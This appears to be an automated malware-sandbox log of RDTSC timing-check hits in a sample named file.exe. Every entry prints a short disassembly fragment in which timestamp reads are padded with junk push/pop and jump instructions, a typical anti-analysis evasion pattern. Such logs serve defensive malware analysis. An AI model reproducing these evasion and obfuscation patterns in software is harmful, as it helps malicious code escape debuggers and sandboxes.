Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC1FE second address: 11EC20A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F4A7CC24DE6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC20A second address: 11EC20E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC476 second address: 11EC493 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DF0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC493 second address: 11EC498 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC5DF second address: 11EC5FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4A7CC24DE6h 0x0000000a popad 0x0000000b jne 00007F4A7CC24DE8h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jns 00007F4A7CC24DE6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC5FC second address: 11EC600 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EC756 second address: 11EC75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F14D4 second address: 11F14DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1635 second address: 11F164D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 js 00007F4A7CC24DE6h 0x0000000e popad 0x0000000f push esi 0x00000010 jnl 00007F4A7CC24DE6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F18D8 second address: 11F18DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F18DC second address: 11F18F4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F4A7CC24DE6h 0x00000008 jo 00007F4A7CC24DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jc 00007F4A7CC24DE6h 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A63 second address: 11F1A6D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4A7D1268F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1A6D second address: 11F1AB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4A7CC24DECh 0x0000000c je 00007F4A7CC24DF6h 0x00000012 push ebx 0x00000013 jmp 00007F4A7CC24DF6h 0x00000018 pushad 0x00000019 popad 0x0000001a pop ebx 0x0000001b popad 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1AB5 second address: 11F1ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1ABB second address: 11F1ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1ABF second address: 11F1ACB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1ACB second address: 11F1AE5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F4A7CC24DF2h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118421E second address: 1184222 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1184222 second address: 1184233 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jnp 00007F4A7CC24DF2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2023 second address: 11F2027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2027 second address: 11F2031 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2031 second address: 11F2037 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2037 second address: 11F203B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F203B second address: 11F2041 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2041 second address: 11F204B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F204B second address: 11F2065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7D126906h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2065 second address: 11F2069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F677F second address: 11F6783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6783 second address: 11F6789 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6789 second address: 11F67C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D1268FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F4A7D126905h 0x00000010 jmp 00007F4A7D126905h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4C30 second address: 11A196F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b js 00007F4A7CC24DF5h 0x00000011 jmp 00007F4A7CC24DEFh 0x00000016 nop 0x00000017 jnp 00007F4A7CC24DF1h 0x0000001d call dword ptr [ebp+1245784Bh] 0x00000023 jmp 00007F4A7CC24DEDh 0x00000028 pushad 0x00000029 push edi 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e pop edi 0x0000002f js 00007F4A7CC24DF2h 0x00000035 jng 00007F4A7CC24DE6h 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E22 second address: 11C4E3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4A7D126908h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E3E second address: 11C4E42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C4E42 second address: 11C4E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C50D4 second address: 11C50DD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C520A second address: 11C520E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C520E second address: 11C521B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C53AD second address: 11C53BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57DD second address: 11C57E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57E1 second address: 11C57EB instructions: 0x00000000 rdtsc 0x00000002 js 00007F4A7D1268F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C57EB second address: 11C5869 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4A7CC24DEDh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F4A7CC24DECh 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F4A7CC24DE8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e jmp 00007F4A7CC24DF6h 0x00000033 push 00000004h 0x00000035 add dx, 20C3h 0x0000003a nop 0x0000003b jmp 00007F4A7CC24DF2h 0x00000040 push eax 0x00000041 push ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5869 second address: 11C586D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5B93 second address: 11C5B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5B97 second address: 11C5BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 mov dl, BCh 0x0000000a push 0000001Eh 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F4A7D1268F8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000019h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 sub dword ptr [ebp+122D34F8h], eax 0x0000002c mov cl, 05h 0x0000002e nop 0x0000002f jmp 00007F4A7D126904h 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 jno 00007F4A7D1268F6h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5BEC second address: 11C5BFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5BFD second address: 11C5C07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5C07 second address: 11C5C0B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5F11 second address: 11C5F15 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5F15 second address: 11C5F70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jmp 00007F4A7CC24DF1h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jl 00007F4A7CC24E0Dh 0x00000018 pushad 0x00000019 jmp 00007F4A7CC24DF6h 0x0000001e jmp 00007F4A7CC24DEFh 0x00000023 popad 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b push esi 0x0000002c pop esi 0x0000002d jne 00007F4A7CC24DE6h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5CBC second address: 11F5CC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5CC6 second address: 11F5CCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5E37 second address: 11F5E3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5E3D second address: 11F5E41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F60E3 second address: 11F60ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F625D second address: 11F6261 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120084F second address: 120085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F4A7D1268F8h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120085D second address: 1200863 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200995 second address: 12009B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4A7D126902h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12009B1 second address: 12009B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12009B5 second address: 12009BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200B0E second address: 1200B14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200C89 second address: 1200C98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jo 00007F4A7D1268F6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120110E second address: 1201113 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201113 second address: 120111B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120111B second address: 1201136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4A7CC24DEEh 0x0000000c ja 00007F4A7CC24DE6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201136 second address: 120113A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12017BD second address: 12017CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F4A7CC24DE6h 0x0000000c popad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12017CF second address: 12017D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12017D6 second address: 12017F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DECh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F4A7CC24DEEh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12017F6 second address: 120181B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7D126903h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4A7D1268FCh 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120181B second address: 120181F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC03 second address: 117BC14 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4A7D1268F6h 0x00000009 jng 00007F4A7D1268F6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC14 second address: 117BC1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117BC1E second address: 117BC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F5B second address: 1204F88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F4A7CC24DECh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d jmp 00007F4A7CC24DECh 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007F4A7CC24DE6h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1204F88 second address: 1204F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207D3C second address: 1207D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207D45 second address: 1207D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207D4F second address: 1207D53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210B1D second address: 1210B27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210B27 second address: 1210B2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1210DC7 second address: 1210DF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F4A7D1268FFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jg 00007F4A7D1268F6h 0x00000012 je 00007F4A7D1268F6h 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12110BD second address: 12110DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jns 00007F4A7CC24DEEh 0x0000000f pushad 0x00000010 jno 00007F4A7CC24DE6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C5A02 second address: 11C5A07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215C9E second address: 1215CA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215CA2 second address: 1215CB4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4A7D1268F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215CB4 second address: 1215CD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a jmp 00007F4A7CC24DEAh 0x0000000f jmp 00007F4A7CC24DEFh 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215CD8 second address: 1215CE8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4A7D126902h 0x00000008 jc 00007F4A7D1268F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215244 second address: 121524E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F4A7CC24DE6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121564A second address: 121564F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121564F second address: 1215664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4A7CC24DE6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215811 second address: 1215817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1215817 second address: 1215831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4A7CC24DE6h 0x0000000a push edx 0x0000000b pop edx 0x0000000c popad 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jno 00007F4A7CC24DE6h 0x00000016 pop edx 0x00000017 push esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 121DC49 second address: 121DC54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
